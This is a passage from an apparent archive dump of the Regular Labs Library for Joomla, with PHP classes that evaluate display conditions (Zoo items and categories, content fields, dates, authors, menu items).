// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
if ( ! $this->request->id || $this->request->option !=
'com_virtuemart' || $this->request->view !=
'productdetails')
{
return $this->_(false);
}
return $this->passSimple($this->request->id);
}
}
src/Condition/Zoo.php000064400000003171151165347440010555 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Zoo
* @package RegularLabs\Library\Condition
*/
abstract class Zoo
extends \RegularLabs\Library\Condition
{
use \RegularLabs\Library\ConditionContent;
public function initRequest(&$request)
{
$request->view = $request->task ?: $request->view;
switch ($request->view)
{
case 'item':
$request->idname = 'item_id';
break;
case 'category':
$request->idname = 'category_id';
break;
}
if ( ! isset($request->idname))
{
$request->idname = '';
}
switch ($request->idname)
{
case 'item_id':
$request->view = 'item';
break;
case 'category_id':
$request->view = 'category';
break;
}
$request->id =
JFactory::getApplication()->input->getInt($request->idname, 0);
if ($request->id)
{
return;
}
$menu = JFactory::getApplication()->getMenu()->getItem((int)
$request->Itemid);
if (empty($menu))
{
return;
}
$request->id = $menu->getParams()->get('item_id', 0);
}
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__zoo_item')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
}
src/Condition/ZooCategory.php000064400000007411151165347440012254
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class ZooCategory
* @package RegularLabs\Library\Condition
*/
class ZooCategory
extends Zoo
{
public function pass()
{
if ($this->request->option != 'com_zoo')
{
return $this->_(false);
}
$pass = (
($this->params->inc_apps && $this->request->view ==
'frontpage')
|| ($this->params->inc_categories &&
$this->request->view == 'category')
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = $this->getCategories();
if ($cats === false)
{
return $this->_(false);
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
if ($this->article && isset($this->article->catid))
{
return [$this->article->catid];
}
$menuparams = $this->getMenuItemParams($this->request->Itemid);
switch ($this->request->view)
{
case 'frontpage':
if ($this->request->id)
{
return [$this->request->id];
}
if ( ! isset($menuparams->application))
{
return [];
}
return ['app' . $menuparams->application];
case 'category':
$cats = [];
if ($this->request->id)
{
$cats[] = $this->request->id;
}
else if (isset($menuparams->category))
{
$cats[] = $menuparams->category;
}
if (empty($cats[0]))
{
return [];
}
$query = $this->db->getQuery(true)
->select('c.application_id')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $cats[0]);
$this->db->setQuery($query);
$cats[] = 'app' . $this->db->loadResult();
return $cats;
case 'item':
$id = $this->request->id;
if ( ! $id && isset($menuparams->item_id))
{
$id = $menuparams->item_id;
}
if ( ! $id)
{
return [];
}
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__zoo_category_item AS c')
->where('c.item_id = ' . (int) $id)
->where('c.category_id != 0');
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
$query = $this->db->getQuery(true)
->select('i.application_id')
->from('#__zoo_item AS i')
->where('i.id = ' . (int) $id);
$this->db->setQuery($query);
$cats[] = 'app' . $this->db->loadResult();
return $cats;
default:
return false;
}
}
private function getCatParentIds($id = 0)
{
$parent_ids = [];
if ( ! $id)
{
return $parent_ids;
}
while ($id)
{
if (substr($id, 0, 3) == 'app')
{
$parent_ids[] = $id;
break;
}
$query = $this->db->getQuery(true)
->select('c.parent')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $id);
$this->db->setQuery($query);
$pid = $this->db->loadResult();
if ( ! $pid)
{
$query = $this->db->getQuery(true)
->select('c.application_id')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $id);
$this->db->setQuery($query);
$app = $this->db->loadResult();
if ($app)
{
$parent_ids[] = 'app' . $app;
}
break;
}
$parent_ids[] = $pid;
$id = $pid;
}
return $parent_ids;
}
}
src/Condition/ZooItem.php000064400000001710151165347470011374
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class ZooItem
* @package RegularLabs\Library\Condition
*/
class ZooItem
extends Zoo
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_zoo')
{
return $this->_(false);
}
if ($this->request->view != 'item')
{
return $this->_(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentId'))
{
return $this->_(false);
}
// Pass Author
if ( ! $this->passItemByType($pass, 'Author'))
{
return $this->_(false);
}
return $this->_($pass);
}
}
src/Condition/ZooPagetype.php000064400000001161151165347470012254
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class ZooPagetype
* @package RegularLabs\Library\Condition
*/
class ZooPagetype
extends Zoo
{
public function pass()
{
return $this->passByPageType('com_zoo', $this->selection,
$this->include_type);
}
}
src/Condition.php000064400000024345151165347470010017 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use DateTimeZone;
use Joomla\CMS\Factory as JFactory;
/**
* Class Condition
* @package RegularLabs\Library
*/
abstract class Condition
implements \RegularLabs\Library\Api\ConditionInterface
{
static $_request = null;
public $request = null;
public $date = null;
public $db = null;
public $selection = null;
public $params = null;
public $include_type = null;
public $article = null;
public $module = null;
private $timezone = null;
private $dates = [];
public function __construct($condition = [], $article = null, $module =
null)
{
$tz = new
DateTimeZone(JFactory::getApplication()->getCfg('offset'));
$this->date = JFactory::getDate()->setTimeZone($tz);
$this->request = self::getRequest();
$this->db = JFactory::getDbo();
$this->selection = isset($condition->selection) ?
$condition->selection : [];
$this->params = isset($condition->params) ?
$condition->params : [];
$this->include_type = isset($condition->include_type) ?
$condition->include_type : 'none';
if (is_array($this->selection))
{
$this->selection = ArrayHelper::clean($this->selection);
}
$this->article = $article;
$this->module = $module;
}
public function init()
{
}
public function initRequest(&$request)
{
}
public function beforePass()
{
}
private function getRequest()
{
$return_early = ! is_null(self::$_request);
$app = JFactory::getApplication();
$input = $app->input;
$id = $input->get(
'a_id',
$input->get('id', [0], 'array'),
'array'
);
self::$_request = (object) [
'idname' => 'id',
'option' => $input->get('option'),
'view' => $input->get('view'),
'task' => $input->get('task'),
'layout' => $input->getString('layout'),
'Itemid' => $this->getItemId(),
'id' => (int) $id[0],
];
switch (self::$_request->option)
{
case 'com_categories':
$extension = $input->getCmd('extension');
self::$_request->option = $extension ? $extension :
'com_content';
self::$_request->view = 'category';
break;
case 'com_breezingforms':
if (self::$_request->view == 'article')
{
self::$_request->option = 'com_content';
}
break;
}
$this->initRequest(self::$_request);
if ( ! self::$_request->id)
{
$cid = $input->get('cid', [0],
'array');
self::$_request->id = (int) $cid[0];
}
if ($return_early)
{
return self::$_request;
}
// if no id is found, check if menuitem exists to get view and id
if (Document::isClient('site')
&& ( ! self::$_request->option || ! self::$_request->id)
)
{
$menuItem = empty(self::$_request->Itemid)
? $app->getMenu('site')->getActive()
:
$app->getMenu('site')->getItem(self::$_request->Itemid);
if ($menuItem)
{
if ( ! self::$_request->option)
{
self::$_request->option =
(empty($menuItem->query['option'])) ? null :
$menuItem->query['option'];
}
self::$_request->view =
(empty($menuItem->query['view'])) ? null :
$menuItem->query['view'];
self::$_request->task =
(empty($menuItem->query['task'])) ? null :
$menuItem->query['task'];
if ( ! self::$_request->id)
{
self::$_request->id =
(empty($menuItem->query[self::$_request->idname])) ?
$menuItem->params->get(self::$_request->idname) :
$menuItem->query[self::$_request->idname];
}
}
unset($menuItem);
}
return self::$_request;
}
public function _($pass = true, $include_type = null)
{
$include_type = $include_type ?: $this->include_type;
return $pass ? ($include_type == 'include') : ($include_type ==
'exclude');
}
public function passSimple($values = '', $caseinsensitive =
false, $include_type = null, $selection = null)
{
$values = $this->makeArray($values);
$include_type = $include_type ?: $this->include_type;
$selection = $selection ?: $this->selection;
$pass = false;
foreach ($values as $value)
{
if ($caseinsensitive)
{
if (in_array(strtolower($value), array_map('strtolower',
$selection)))
{
$pass = true;
break;
}
continue;
}
if (in_array($value, $selection))
{
$pass = true;
break;
}
}
return $this->_($pass, $include_type);
}
public function passInRange($value = '', $include_type = null,
$selection = null)
{
$include_type = $include_type ?: $this->include_type;
if (empty($value))
{
return $this->_(false, $include_type);
}
$selections = $this->makeArray($selection ?: $this->selection);
$pass = false;
foreach ($selections as $selection)
{
if (empty($selection))
{
continue;
}
if (strpos($selection, '-') === false)
{
if ((int) $value == (int) $selection)
{
$pass = true;
break;
}
continue;
}
list($min, $max) = explode('-', $selection, 2);
if ((int) $value >= (int) $min && (int) $value <= (int)
$max)
{
$pass = true;
break;
}
}
return $this->_($pass, $include_type);
}
public function passItemByType(&$pass, $type = '', $data =
null)
{
$pass_type = ! empty($data) ? $this->{'pass' . $type}($data)
: $this->{'pass' . $type}();
if ($pass_type === null)
{
return true;
}
$pass = $pass_type;
return $pass;
}
public function passByPageType($option, $selection = [], $include_type =
'all', $add_view = false, $get_task = false, $get_layout = true)
{
if ($this->request->option != $option)
{
return $this->_(false, $include_type);
}
if ($get_task && $this->request->task &&
$this->request->task != $this->request->view &&
$this->request->task != 'default')
{
$pagetype = ($add_view ? $this->request->view . '_' :
'') . $this->request->task;
return $this->passSimple($pagetype, $selection, $include_type);
}
if ($get_layout && $this->request->layout &&
$this->request->layout != $this->request->view &&
$this->request->layout != 'default')
{
$pagetype = ($add_view ? $this->request->view . '_' :
'') . $this->request->layout;
return $this->passSimple($pagetype, $selection, $include_type);
}
return $this->passSimple($this->request->view, $selection,
$include_type);
}
public function getMenuItemParams($id = 0)
{
$cache_id = 'getMenuItemParams_' . $id;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$query = $this->db->getQuery(true)
->select('m.params')
->from('#__menu AS m')
->where('m.id = ' . (int) $id);
$this->db->setQuery($query);
$params = $this->db->loadResult();
$parameters = Parameters::getInstance();
return Cache::set(
$cache_id,
$parameters->getParams($params)
);
}
public function getParentIds($id = 0, $table = 'menu', $parent =
'parent_id', $child = 'id')
{
if ( ! $id)
{
return [];
}
$cache_id = 'getParentIds_' . $id . '_' . $table .
'_' . $parent . '_' . $child;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$parent_ids = [];
while ($id)
{
$query = $this->db->getQuery(true)
->select('t.' . $parent)
->from('#__' . $table . ' as t')
->where('t.' . $child . ' = ' . (int) $id);
$this->db->setQuery($query);
$id = $this->db->loadResult();
// Break if no parent is found or parent already found before for some
reason
if ( ! $id || in_array($id, $parent_ids))
{
break;
}
$parent_ids[] = $id;
}
return Cache::set(
$cache_id,
$parent_ids
);
}
public function makeArray($array = '', $delimiter =
',', $trim = false)
{
if (empty($array))
{
return [];
}
$cache_id = 'makeArray_' . json_encode($array) . '_'
. $delimiter . '_' . $trim;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$array = $this->mixedDataToArray($array, $delimiter);
if (empty($array))
{
return $array;
}
if ( ! $trim)
{
return $array;
}
foreach ($array as $k => $v)
{
if ( ! is_string($v))
{
continue;
}
$array[$k] = trim($v);
}
return Cache::set(
$cache_id,
$array
);
}
private function mixedDataToArray($array = '', $onlycommas =
false)
{
if ( ! is_array($array))
{
$delimiter = ($onlycommas || strpos($array, '|') === false) ?
',' : '|';
return explode($delimiter, $array);
}
if (empty($array))
{
return $array;
}
if (isset($array[0]) && is_array($array[0]))
{
return $array[0];
}
if (count($array) === 1 && strpos($array[0], ',') !==
false)
{
return explode(',', $array[0]);
}
return $array;
}
private function getItemId()
{
$app = JFactory::getApplication();
if ($id = $app->input->getInt('Itemid', 0))
{
return $id;
}
$menu = $this->getActiveMenu();
return isset($menu->id) ? $menu->id : 0;
}
private function getActiveMenu()
{
$menu = JFactory::getApplication()->getMenu()->getActive();
if (empty($menu->id))
{
return false;
}
return $this->getMenuById($menu->id);
}
private function getMenuById($id = 0)
{
$menu = JFactory::getApplication()->getMenu()->getItem($id);
if (empty($menu->id))
{
return false;
}
if ($menu->type == 'alias')
{
$params = $menu->getParams();
return $this->getMenuById($params->get('aliasoptions'));
}
return $menu;
}
public function getNow()
{
return strtotime($this->date->format('Y-m-d H:i:s',
true));
}
public function getDate($date = '')
{
$date = Date::fix($date);
$id = 'date_' . $date;
if (isset($this->dates[$id]))
{
return $this->dates[$id];
}
$this->dates[$id] = JFactory::getDate($date);
if (empty($this->params->ignore_time_zone))
{
$this->dates[$id]->setTimeZone($this->getTimeZone());
}
return $this->dates[$id];
}
public function getDateString($date = '')
{
$date = $this->getDate($date);
$date = strtotime($date->format('Y-m-d H:i:s', true));
return $date;
}
private function getTimeZone()
{
if ( ! is_null($this->timezone))
{
return $this->timezone;
}
$this->timezone = new
DateTimeZone(JFactory::getApplication()->getCfg('offset'));
return $this->timezone;
}
}
src/ConditionContent.php000064400000023257151165347470011353
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
use FieldsHelper;
use JLoader;
use Joomla\CMS\Date\Date as JDate;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Plugin\System\ArticlesAnywhere\Replace as AA_Replace;
defined('_JEXEC') or die;
JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR .
'/components/com_fields/helpers/fields.php');
/**
* Class ConditionContent
* @package RegularLabs\Library
*/
trait ConditionContent
{
public function passContentId()
{
if (empty($this->selection))
{
return null;
}
return in_array($this->request->id, $this->selection);
}
public function passFeatured()
{
return $this->passBoolean('featured');
}
public function passBoolean($field = 'featured')
{
if ( ! isset($this->params->{$field}) ||
$this->params->{$field} == '')
{
return null;
}
$item = $this->getItem($field);
if ( ! isset($item->{$field}))
{
return false;
}
return $this->params->{$field} == $item->{$field};
}
public function passContentKeyword($fields = ['title',
'introtext', 'fulltext'], $text = '')
{
if (empty($this->params->content_keywords))
{
return null;
}
if ( ! $text)
{
$item = $this->getItem($fields);
foreach ($fields as $field)
{
if ( ! isset($item->{$field}))
{
return false;
}
$text = trim($text . ' ' . $item->{$field});
}
}
if (empty($text))
{
return false;
}
$this->params->content_keywords =
$this->makeArray($this->params->content_keywords);
foreach ($this->params->content_keywords as $keyword)
{
if ( ! RegEx::match('\b' . RegEx::quote($keyword) .
'\b', $text))
{
continue;
}
return true;
}
return false;
}
public function passMetaKeyword($field = 'metakey', $keywords =
'')
{
if (empty($this->params->meta_keywords))
{
return null;
}
if ( ! $keywords)
{
$item = $this->getItem($field);
if ( ! isset($item->metakey) || empty($item->metakey))
{
return false;
}
$keywords = $item->metakey;
}
if (empty($keywords))
{
return false;
}
if (is_string($keywords))
{
$keywords = str_replace(' ', ',', $keywords);
}
$keywords = $this->makeArray($keywords);
$this->params->meta_keywords =
$this->makeArray($this->params->meta_keywords);
foreach ($this->params->meta_keywords as $keyword)
{
if ( ! $keyword || ! in_array(trim($keyword), $keywords))
{
continue;
}
return true;
}
return false;
}
public function passAuthor($field = 'created_by', $author =
'')
{
$this->params->authors =
ArrayHelper::clean($this->params->authors);
if (empty($this->params->authors))
{
return null;
}
if ( ! $author)
{
$item = $this->getItem($field);
if ( ! isset($item->{$field}))
{
return false;
}
$author = $item->{$field};
}
if (empty($author))
{
return false;
}
$this->params->authors =
$this->makeArray($this->params->authors);
if (in_array('current', $this->params->authors)
&& JFactory::getUser()->id)
{
$this->params->authors[] = JFactory::getUser()->id;
$this->params->authors =
array_diff($this->params->authors, ['current']);
}
return in_array($author, $this->params->authors);
}
public function passDate()
{
if (empty($this->params->date))
{
return null;
}
$field = $this->params->date;
$item = $this->getItem($field);
if ( ! isset($item->{$field}))
{
return false;
}
$date = $this->getDateString($item->{$field});
switch ($this->params->date_comparison)
{
case 'before':
if ($this->params->date_type == 'now')
{
return $date < $this->getNow();
}
return $date <
$this->getDateString($this->params->date_date);
case 'after':
if ($this->params->date_type == 'now')
{
return $date > $this->getNow();
}
return $date >
$this->getDateString($this->params->date_date);
case 'fromto':
$from = (int) $this->params->date_from ?
$this->getDateString($this->params->date_from) : false;
$to = (int) $this->params->date_to ?
$this->getDateString($this->params->date_to) : false;
return ( ! $from || $date >= $from)
&& ( ! $to || $date <= $to);
default:
return false;
}
}
public function passField()
{
if (empty($this->params->fields))
{
return null;
}
$item = $this->getItem();
if ( ! isset($item->id))
{
return false;
}
$fields = $this->params->fields;
$article_fields =
FieldsHelper::getFields('com_content.article', $item, true);
foreach ($fields as $i => $field)
{
$pass = false;
foreach ($article_fields as $article_field)
{
if ($article_field->name != $field->field)
{
continue;
}
$comparison = ! empty($field->field_comparison) ?
$field->field_comparison : 'equals';
if ( ! self::passComparison($field->field_value,
$article_field->rawvalue, $comparison))
{
return false;
}
$pass = true;
break;
}
if ( ! $pass)
{
return false;
}
}
return true;
}
private static function passComparison($needle, $haystack, $comparison =
'equals')
{
$haystack = ArrayHelper::toArray($haystack);
if (empty($haystack))
{
return false;
}
// For list values
if (count($haystack) > 1)
{
switch ($comparison)
{
case 'not_equals':
$needle = ArrayHelper::toArray($needle);
sort($needle);
sort($haystack);
return $needle != $haystack;
case 'contains':
$needle = ArrayHelper::toArray($needle);
sort($needle);
$intersect = array_intersect($needle, $haystack);
return $needle == $intersect;
case 'contains_one':
return ArrayHelper::find($needle, $haystack);
case 'not_contains':
return ! ArrayHelper::find($needle, $haystack);
case 'equals':
default:
$needle = ArrayHelper::toArray($needle);
sort($needle);
sort($haystack);
return $needle == $haystack;
}
}
$haystack = $haystack[0];
if ($comparison == 'regex')
{
return RegEx::match($needle, $haystack);
}
// What's the use case? Not sure yet :)
$needle = self::runThroughArticlesAnywhere($needle);
// Convert dynamic date values i, like date('yesterday')
$haystack = self::valueToDateString($haystack, true);
$has_time = self::hasTime($haystack);
$needle = self::valueToDateString($needle, false, $has_time);
// make the needle and haystack lowercase, so comparisons are case
insensitive
$needle = StringHelper::strtolower($needle);
$haystack = StringHelper::strtolower($haystack);
switch ($comparison)
{
case 'not_equals':
return $needle != $haystack;
case 'contains':
case 'contains_one':
return strpos($haystack, $needle) !== false;
case 'not_contains':
return strpos($haystack, $needle) === false;
case 'begins_with':
$length = strlen($needle);
return substr($haystack, 0, $length) === $needle;
case 'ends_with':
$length = strlen($needle);
if ($length == 0)
{
return true;
}
return substr($haystack, -$length) === $needle;
case 'less_than':
return $haystack < $needle;
case 'greater_than':
return $haystack > $needle;
case 'equals':
default:
return $needle == $haystack;
}
}
private static function valueToDateString($value, $apply_offset = true,
$add_time = false)
{
$value = trim($value);
if (in_array($value, [
'now()',
'JFactory::getDate()',
]))
{
if ( ! $apply_offset)
{
return date('Y-m-d H:i:s', strtotime('now'));
}
$date = new JDate('now',
JFactory::getConfig()->get('offset', 'UTC'));
return $date->format('Y-m-d H:i:s');
}
if (self::isDateTimeString($value))
{
$format = 'Y-m-d H:i:s';
$date = new JDate($value,
JFactory::getConfig()->get('offset', 'UTC'));
if ($apply_offset)
{
$date = JFactory::getDate($value, 'UTC');
$date->setTimezone(new
\DateTimeZone(JFactory::getConfig()->get('offset')));
}
return $date->format($format, true, false);
}
$regex = '^date\(\s*'
. '(?:\'(?<datetime>.*?)\')?'
. '(?:\\\\?,\s*\'(?<format>.*?)\')?'
. '\s*\)$';
if ( ! RegEx::match($regex, $value, $match))
{
return $value;
}
$datetime = ! empty($match['datetime']) ?
$match['datetime'] : 'now';
$format = ! empty($match['format']) ?
$match['format'] : '';
if (empty($format))
{
$time = date('His', strtotime($datetime));
$format = (int) $time || $add_time ? 'Y-m-d H:i:s' :
'Y-m-d';
}
$date = new JDate($datetime,
JFactory::getConfig()->get('offset', 'UTC'));
if ($apply_offset)
{
$date = JFactory::getDate($datetime, 'UTC');
$date->setTimezone(new
\DateTimeZone(JFactory::getConfig()->get('offset')));
}
return $date->format($format, true, false);
}
public static function isDateTimeString($string)
{
return RegEx::match('^[0-9]{4}-[0-9]{2}-[0-9]{2}', $string);
}
public static function hasTime($string)
{
if ( ! self::isDateTimeString($string))
{
return false;
}
return RegEx::match('^[0-9]{4}-[0-9]{2}-[0-9]{2}
[0-9]{2}:[0-9]{2}', $string);
}
public static function runThroughArticlesAnywhere($string)
{
$articlesanywhere_params =
Parameters::getInstance()->getPluginParams('articlesanywhere');
if (empty($articlesanywhere_params) || !
isset($articlesanywhere_params->article_tag) || !
isset($articlesanywhere_params->articles_tag))
{
return $string;
}
AA_Replace::replaceTags($string);
Protect::removeCommentTags($string, 'Articles Anywhere');
return $string;
}
abstract public function getItem($fields = []);
}
src/Conditions.php000064400000044713151165347470010203 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
jimport('joomla.filesystem.file');
/**
* Class Conditions
* @package RegularLabs\Library
*/
class Conditions
{
static $installed_extensions = null;
static $params = null;
public static function pass($conditions, $matching_method =
'all', $article = null, $module = null)
{
if (empty($conditions))
{
return true;
}
$article_id = isset($article->id) ? $article->id :
'';
$module_id = isset($module->id) ? $module->id : '';
$matching_method = in_array($matching_method, ['any',
'or']) ? 'any' : 'all';
$cache_id = 'pass_' . $article_id . '_' .
$module_id . '_' . $matching_method . '_' .
json_encode($conditions);
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$pass = (bool) ($matching_method == 'all');
foreach (self::getTypes() as $type)
{
// Break if not passed and matching method is ALL
// Or if passed and matching method is ANY
if (
( ! $pass && $matching_method == 'all')
|| ($pass && $matching_method == 'any')
)
{
break;
}
if ( ! isset($conditions[$type]))
{
continue;
}
$pass = self::passByType($conditions[$type], $type, $article, $module);
}
return Cache::set(
$cache_id,
$pass
);
}
public static function hasConditions($conditions)
{
if (empty($conditions))
{
return false;
}
foreach (self::getTypes() as $type)
{
if (isset($conditions[$type]) &&
isset($conditions[$type]->include_type) &&
$conditions[$type]->include_type)
{
return true;
}
}
return false;
}
public static function getConditionsFromParams(&$params)
{
$cache_id = 'getConditionsFromParams_' . json_encode($params);
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
self::renameParamKeys($params);
$types = [];
foreach (self::getTypes() as $id => $type)
{
if (empty($params->conditions[$id]))
{
continue;
}
$types[$type] = (object) [
'include_type' => $params->conditions[$id],
'selection' => [],
'params' => (object) [],
];
if (isset($params->conditions[$id . '_selection']))
{
$types[$type]->selection =
self::getSelection($params->conditions[$id . '_selection'],
$type);
}
self::addParams($types[$type], $type, $id, $params);
}
return Cache::set(
$cache_id,
$types
);
}
public static function getConditionsFromTagAttributes(&$attributes,
$only_types = [])
{
$conditions = [];
PluginTag::replaceKeyAliases($attributes, self::getTypeAliases(), true);
$types = self::getTypes($only_types);
if (empty($types))
{
return $conditions;
}
$type_params = [];
foreach ($attributes as $type_param => $value)
{
if (strpos($type_param, '_') === false)
{
continue;
}
list($type, $param) = explode('_', $type_param, 2);
$condition_type = self::getType($type, $only_types);
if ( ! $condition_type)
{
continue;
}
$type_params[$type_param] = $value;
unset($attributes->{$type_param});
}
foreach ($attributes as $type => $value)
{
if (empty($value))
{
continue;
}
$condition_type = self::getType($type, $only_types);
if ( ! $condition_type)
{
continue;
}
$value = html_entity_decode($value);
$params = self::getDefaultParamsByType($condition_type,
$type);
$params->conditions = $type_params;
$reverse = false;
$selection = self::getSelectionFromTagAttribute($condition_type, $value,
$params, $reverse);
$condition = (object) [
'include_type' => $reverse ? 2 : 1,
'selection' => $selection,
'params' => (object) [],
];
self::addParams($condition, $condition_type, $type, $params);
$conditions[$condition_type] = $condition;
}
return $conditions;
}
private static function initParametersByType(&$params, $type =
'')
{
$params->class_name = str_replace('.', '', $type);
$params->include_type =
self::getConditionState($params->include_type);
}
private static function passByType($condition, $type, $article = null,
$module = null)
{
$article_id = isset($article->id) ? $article->id : '';
$module_id = isset($module->id) ? $module->id : '';
$cache_prefix = 'passByType_' . $type . '_' .
$article_id . '_' . $module_id;
$cache_id = $cache_prefix . '_' . json_encode($condition);
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
self::initParametersByType($condition, $type);
$cache_id = $cache_prefix . '_' . json_encode($condition);
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$pass = false;
switch ($condition->include_type)
{
case 'all':
$pass = true;
break;
case 'none':
$pass = false;
break;
default:
if ( ! file_exists(__DIR__ . '/Condition/' .
$condition->class_name . '.php'))
{
break;
}
$className = '\\RegularLabs\\Library\\Condition\\' .
$condition->class_name;
$class = new $className($condition, $article, $module);
$class->beforePass();
$pass = $class->pass();
break;
}
return Cache::set(
$cache_id,
$pass
);
}
private static function getConditionState($include_type)
{
switch ($include_type . '')
{
case 1:
case 'include':
return 'include';
case 2:
case 'exclude':
return 'exclude';
case 3:
case -1:
case 'none':
return 'none';
default:
return 'all';
}
}
private static function makeArray($array = '', $delimiter =
',', $trim = true)
{
if (empty($array))
{
return [];
}
$cache_id = 'makeArray_' . json_encode($array) . '_'
. $delimiter . '_' . $trim;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$array = self::mixedDataToArray($array, $delimiter);
if (empty($array))
{
return $array;
}
if ( ! $trim)
{
return $array;
}
foreach ($array as $k => $v)
{
if ( ! is_string($v))
{
continue;
}
$array[$k] = trim($v);
}
return Cache::set(
$cache_id,
$array
);
}
private static function mixedDataToArray($array = '', $delimiter
= ',')
{
if ( ! is_array($array))
{
return explode($delimiter, $array);
}
if (empty($array))
{
return $array;
}
if (isset($array[0]) && is_array($array[0]))
{
return $array[0];
}
if (count($array) === 1 && strpos($array[0], $delimiter) !==
false)
{
return explode($delimiter, $array[0]);
}
return $array;
}
private static function renameParamKeys(&$params)
{
$params->conditions = isset($params->conditions) ?
$params->conditions : [];
foreach ($params as $key => $value)
{
if (strpos($key, 'condition_') === false &&
strpos($key, 'assignto_') === false)
{
continue;
}
$new_key = substr($key, strpos($key, '_')
+ 1);
$params->conditions[$new_key] = $value;
unset($params->{$key});
}
}
private static function getSelection($selection, $type = '')
{
if (in_array($type, self::getNotArrayTextAreaTypes()))
{
return $selection;
}
$delimiter = in_array($type, self::getTextAreaTypes()) ? "\n" :
',';
return self::makeArray($selection, $delimiter);
}
private static function getSelectionFromTagAttribute($type, $value,
&$params, &$reverse)
{
if ($type == 'Date.Date')
{
$value = str_replace('from', '', $value);
$dates = explode(' - ', str_replace('to', ' -
', $value));
$params->ignore_time_zone = true;
if ( ! empty($dates[0]))
{
$params->publish_up = date('Y-m-d H:i:s',
strtotime($dates[0]));
}
if ( ! empty($dates[1]))
{
$params->publish_down = date('Y-m-d H:i:s',
strtotime($dates[1]));
}
return [];
}
if ($type == 'Date.Time')
{
$value = str_replace('from', '', $value);
$dates = explode(' - ', str_replace('to', ' -
', $value));
$params->publish_up = $dates[0];
$params->publish_down = isset($dates[1]) ? $dates[1] : $dates[0];
return [];
}
if (in_array($type, self::getTextAreaTypes()))
{
$value = Html::convertWysiwygToPlainText($value);
}
if (strpos($value, '!NOT!') === 0)
{
$reverse = true;
$value = substr($value, 5);
}
if ( ! in_array($type, self::getNotArrayTextAreaTypes()))
{
$value = str_replace('[[:COMMA:]]', ',',
str_replace(',', '[[:SPLIT:]]',
str_replace('\\,', '[[:COMMA:]]', $value)));
$value = explode('[[:SPLIT:]]', $value);
}
return $value;
}
private static function getDefaultParamsByType($condition_type, $type)
{
switch ($condition_type)
{
case 'Content.Category':
return (object) [
'assignto_' . $type . '_inc' => [
'inc_cats',
'inc_arts',
],
];
case 'Easyblog.Category':
case 'K2.Category':
case 'Zoo.Category':
case 'Hikashop.Category':
case 'Mijoshop.Category':
case 'Redshop.Category':
case 'Virtuemart.Category':
return (object) [
'assignto_' . $type . '_inc' => [
'inc_cats',
'inc_items',
],
];
default:
return (object) [];
}
}
private static function addParams(&$object, $type, $id, &$params)
{
$extra_params = [];
$array_params = [];
$includes = [];
switch ($type)
{
case 'Menu':
$extra_params = ['inc_children', 'inc_noitemid'];
break;
case 'Date.Date':
